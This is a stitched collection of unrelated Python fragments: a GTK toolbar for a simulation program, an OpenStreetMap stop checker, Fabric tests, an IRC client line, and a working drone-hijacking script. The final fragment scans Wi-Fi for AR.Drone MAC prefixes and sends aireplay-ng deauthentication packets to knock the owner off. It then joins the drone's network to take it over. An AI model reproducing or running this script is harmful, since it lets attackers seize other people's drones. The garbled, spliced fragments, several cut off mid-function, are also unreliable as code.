open_sim = gtk.ToolButton(gtk.STOCK_OPEN)
self.tooltips.set_tip(open_sim, _("Open a simulation"))
toolbar.insert(open_sim, pos)
pos=pos+1
#self.save_sim = gtk.ToolButton(gtk.STOCK_SAVE)
#self.tooltips.set_tip(self.save_sim, "Save a simulation")
#toolbar.insert(self.save_sim, pos)
#pos=pos+1
new_sim = gtk.ToolButton(gtk.STOCK_NEW)
self.tooltips.set_tip(new_sim, _("Make a new simulation"))
toolbar.insert(new_sim, pos)
pos=pos+1
sep_lhs = gtk.SeparatorToolItem()
sep_lhs.set_draw(True)
sep_lhs.set_expand(False)
toolbar.insert(sep_lhs, pos)
pos=pos+1
self.undo = gtk.ToolButton(gtk.STOCK_UNDO)
self.tooltips.set_tip(self.undo, "Undo")
toolbar.insert(self.undo, pos)
self.undo.connect("clicked", self.callback_undo)
pos=pos+1
sep_lhs = gtk.SeparatorToolItem()
sep_lhs.set_draw(True)
sep_lhs.set_expand(False)
toolbar.insert(sep_lhs, pos)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"play.png"))
self.play = gtk.ToolButton(image)
self.tooltips.set_tip(self.play, _("Run the simulation"))
toolbar.insert(self.play, pos)
self.play.connect("clicked", self.callback_simulate)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"forward.png"))
self.tb_run_scan = gtk.ToolButton(image)
self.tb_run_scan.connect("clicked", self.callback_run_scan)
self.tooltips.set_tip(self.tb_run_scan, _("Run parameter scan"))
toolbar.insert(self.tb_run_scan, pos)
self.tb_run_scan.set_sensitive(False)
pos=pos+1
if debug_mode()==True:
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"fit.png"))
self.tb_run_fit = gtk.ToolButton(image)
self.tb_run_fit.connect("clicked", self.callback_run_fit)
self.tooltips.set_tip(self.tb_run_fit, _("Run a fit command"))
toolbar.insert(self.tb_run_fit, pos)
self.tb_run_fit.set_sensitive(True)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"pause.png"))
self.stop = gtk.ToolButton(image )
self.tooltips.set_tip(self.stop, _("Stop the simulation"))
self.stop.connect("clicked", self.callback_simulate_stop)
toolbar.insert(self.stop, pos)
pos=pos+1
sep = gtk.SeparatorToolItem()
sep.set_draw(True)
sep.set_expand(False)
toolbar.insert(sep, pos)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"scan.png"))
self.param_scan = gtk.ToolButton(image)
self.param_scan.connect("clicked", self.callback_scan)
self.tooltips.set_tip(self.param_scan, _("Parameter scan"))
toolbar.insert(self.param_scan, pos)
pos=pos+1
sep = gtk.SeparatorToolItem()
sep.set_draw(True)
sep.set_expand(False)
toolbar.insert(sep, pos)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"plot.png"))
self.plot_select = gtk.MenuToolButton(image,"hello")
self.tooltips.set_tip(self.plot_select, _("Find a file to plot"))
self.plotted_graphs = used_files_menu()
self.plot_select.set_menu(self.plotted_graphs.menu)
toolbar.insert(self.plot_select, pos)
self.plot_select.connect("clicked", self.callback_plot_select)
self.plot_select.set_sensitive(False)
pos=pos+1
#image = gtk.Image()
#image.set_from_file(os.path.join(get_image_file_path(),"refresh.png"))
#self.plot_open = gtk.ToolButton(image)
#self.tooltips.set_tip(self.plot_open, "Replot the graph")
#toolbar.insert(self.plot_open, pos)
#self.plot_open.set_sensitive(False)
#os=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"plot_time.png"))
self.examine = gtk.ToolButton(image)
self.tooltips.set_tip(self.examine, _("Examine results in time domain"))
self.examine.connect("clicked", self.callback_examine)
toolbar.insert(self.examine, pos)
pos=pos+1
sep = gtk.SeparatorToolItem()
sep.set_draw(True)
sep.set_expand(False)
toolbar.insert(sep, pos)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"time.png"))
self.experiment_window_button = gtk.ToolButton(image)
self.tooltips.set_tip(self.experiment_window_button, _("Edit the time mesh"))
self.experiment_window_button.connect("clicked", self.callback_edit_experiment_window)
toolbar.insert(self.experiment_window_button, pos)
pos=pos+1
image = gtk.Image()
image.set_from_file(os.path.join(get_image_file_path(),"spectrum.png"))
self.examine = gtk.ToolButton(image)
self.tooltips.set_tip(self.examine, _("Frequency domain mesh editor"))
self.examine.connect("clicked", self.callback_fxexperiment_window)
toolbar.insert(self.examine, pos)
pos=pos+1
sep2 = gtk.SeparatorToolItem()
sep2.set_draw(False)
sep2.set_expand(True)
toolbar.insert(sep2, pos)
pos=pos+1
help = gtk.ToolButton(gtk.STOCK_HELP)
self.tooltips.set_tip(help, "Help")
help.connect("clicked", self.callback_help)
toolbar.insert(help, pos)
pos=pos+1
#quittb = gtk.ToolButton(gtk.STOCK_QUIT)
#self.tooltips.set_tip(quittb, "Quit")
#toolbar.insert(quittb, pos)
#quittb.connect("clicked", gtk.main_quit)
#pos=pos+1
new_sim.connect("clicked", self.callback_new)
open_sim.connect("clicked", self.callback_open)
#self.save_sim.connect("clicked", self.callback_export)
#self.plot_open.connect("clicked", self.callback_plot_open)
toolbar1=self.make_tool_box1()
toolbar.show_all()
main_vbox.pack_start(self.menubar, False, True, 0)
handlebox = gtk.HandleBox()
handlebox.set_snap_edge(gtk.POS_LEFT)
handlebox.show()
toolbar.set_size_request(1000, -1)
tb_vbox=gtk.VBox()
tb_vbox.add(toolbar)
tb_vbox.add(toolbar1)
tb_vbox.show()
handlebox.add(tb_vbox)
main_vbox.pack_start(handlebox, False, False, 0)
self.window.connect("delete-event", self.callback_close_window)
self.win_list.set_window(self.window,"main_window")
self.menubar.show()
self.make_window2(main_vbox)
self.window.show()
process_events()
print("Badana zmienna: stop_position")
t3.checker(baza, stop_position, bez_ref_stops, small_ref, bad_name_stops, error)
print("________________________________")
print("Badana zmienna: bus_stop")
t3.checker(baza, bus_stop, bez_ref_stops, small_ref, bad_name_stops, error)
print("________________________________")
print("Badana zmienna: tram_stop")
t3.checker(baza, tram_stop, bez_ref_stops, small_ref, bad_name_stops, error)
print("________________________________")
print("Badana zmienna: platform")
t3.checker(baza, platform, bez_ref_plat, small_ref, bad_name_plat, error)
print("________________________________")
print("Badana zmienna: bad_stop_position")
t3.checker(baza, bad_stop_position, another_error, another_error, another_error, error)
print("________________________________")
#print(len(baza))
t1.take(baza, "stopy.txt", brak_id, brak_temp)
t4.make_json(brak_id, "brak_id.geojson")
t4.make_json(brak_temp, "brak_temp.geojson")
t4.make_json(bez_ref_stops, "bez_ref_stops.geojson")
t4.make_json(bez_ref_plat, "bez_ref_plat.geojson")
t4.make_json(bad_name_stops, "bad_name_stops.geojson")
t4.make_json(bad_name_plat, "bad_name_plat.geojson")
t4.make_json(another_error, "another_error.geojson")
t4.make_json(small_ref, "small_ref.geojson")
if start == 't':
t5.server()
else:
print("Ok...kończę pracę!")
import server
serv = server.server("irc.epiknet.org", port=6667, nick="Bainos")
@server()
@mock_streams('both')
def test_warn_only_does_not_imply_hide_everything(self):
run("ls /simple", warn_only=True)
assert sys.stdout.getvalue() != ""
class TestMultipleOKReturnCodes(FabricTest):
@server(responses={'no srsly its ok': ['', '', 1]})
def test_expand_to_include_1(self):
with settings(quiet(), ok_ret_codes=[0, 1]):
eq_(run("no srsly its ok").succeeded, True)
slow_server = server(responses={'slow': ['', '', 0, 3]})
slow = lambda x: slow_server(raises(CommandTimeout)(x))
class TestRun(FabricTest):
"""
@server-using generic run()/sudo() tests
"""
@slow
def test_command_timeout_via_env_var(self):
env.command_timeout = 2 # timeout after 2 seconds
with hide('everything'):
run("slow")
@slow
def test_command_timeout_via_kwarg(self):
with hide('everything'):
def main():
tmpfile = "/tmp/dronestrike" #temp file to save the output of airodump library
drone_macs = ['90:03:B7','A0:14:3D', '00:12:1C', '00:26:7E'] #Array of the first 6 bytes that are in the mac addresses of any drone
#These values are found in the drone manual
interface = "wlan5" #The name of the first wireless interface that I will use it to hijack
interface2 = "wlan7" #The name of the second interface to control the hijacked drone
# paths to applications
dhclient = "dhclient"
iwconfig = "iwconfig"
ifconfig = "ifconfig"
airmon = "airmon-ng"
aireplay = "aireplay-ng"
aircrack = "aircrack-ng"
airodump = "airodump-ng"
execute(ifconfig +' ' + interface +' down') #pu the interface down
airmon_process = execute(airmon + ' start ' + interface) #putting interface in the monitor mode
mon_interface = 'mon0'
cmd1 = 'sudo %s --output-format csv -w %s %s >>/dev/null 2>>/dev/null' %(airodump, tmpfile,interface)
print cmd1 #running the airmonitor tool to capture all traffic in the air that we will analyze it later on
airodump_process = execute2(cmd1)
print airodump_process.pid
time.sleep(3) # wait 3 seconds ... enough time to capture almost all wireless connections
execute('sudo kill '+str(airodump_process.pid))
time.sleep(1)
execute('sudo kill -HUP ' +str(airodump_process.pid))
time.sleep(1)
execute('sudo kill -9 ' + str(airodump_process.pid))
time.sleep(1)
execute('sudo killall -9 ' + aireplay + ' '+ airodump)
#make sure that airmonitor is killed
my_drone = '90:03:B7:34:3B:02' #This is the make address of my drone so that I do NOT hijack myself
#TO-DO make this variable an array that contains my drone and all hijacked drones, so whenever I hijcak one I don't hijack it again
f = open(tmpfile+'-01.csv', 'rb') #reading the output of air-monitor tool
tmp_file = f.read()
drones = []
for mac in drone_macs: #finding all drones in the air
pattern = '^(%s.[\w:]+),\s+\S+\s+\S+\s+\S+\s+\S+\s+(\d+),.*(ardrone\S+),' %(mac)
val = re.findall(pattern ,tmp_file, re.MULTILINE)
drones += val
clients =[]
for mac in drone_macs: #finding all clients connected to the drones
pattern = '^([\w:]+).*\s(%s.[\w:]+),' % (mac)
val = re.findall(pattern, tmp_file, re.MULTILINE)
clients += val
print "Found %i drone(s)" %(len(drones))
for d in drones:
print d # printing the result
#raw_input("press Enter to Continue")
# if len(drones) == 0:
# print "No drones \nexitting ..."
# return
print "Found %i client(s)" %(len(clients))
for c in clients:
print c #printing the clients
#raw_input("press Enter to Continue")
execute('sudo rm '+tmpfile+'-01.csv')
#removing the temp file
# now, disconnect the TRUE owner of the drone.
for c in clients:
if(c[0])=='BSSID': #sometimes the air-mon tool returns an empty client has the word BSSID so this if condition to bypass that glitch
continue
d = find_drone(c[1], drones)
print "Found client (" + str(c[0]) + ") connected to " + str(d)
#res = raw_input("You want to disconnect the client?? [Y/N]\n")
#if res == 'Y' or res =='y':
#after finding the connected drone, excluding mine, I will start to send the de-auth packets
if my_drone not in d: #
cmd = 'sudo ' + iwconfig + ' ' + interface + ' channel ' + str(d[1])
#print cmd
execute(cmd)
time.sleep(2)
print "Disconnecting the true owner of the drone ;)\n\n"
cmd = aireplay + " -0 20 -a " + str(d[0])+ " -c " + str(c[0]) + " "+ interface
#print cmd
execute(cmd)
time.sleep(2)
airmon_process = execute(airmon + ' stop mon0') #Disabling the monitor mode
# connect to each drone and run our zombie client!
for d in drones:
#res = raw_input("You want to connect to the drone ?? [Y/N]")
#if res == 'Y' or res =='y':
if my_drone not in d:
print "\n\nConnecting to the hijacked drone\n"
cmd = "sudo "+iwconfig+" "+interface2+" essid " +d[2]
#print cmd
execute(cmd)
print "Acquiring IP from drone for hostile takeover\n"
cmd = "sudo " +ifconfig+" "+interface2+ " 192.168.1.10"
#setting the up statically, because sometimes the drone rejects to give us an IP using the dhcp server installed on the drone
execute(cmd)
execute('reset')
execute('clear')
print "\t\t\tTAKING OVER DRONE\n"
server.server('192.168.1.1', 6665) #connecting to the drone server that is on ip 192.168.1.1 and make the panda board
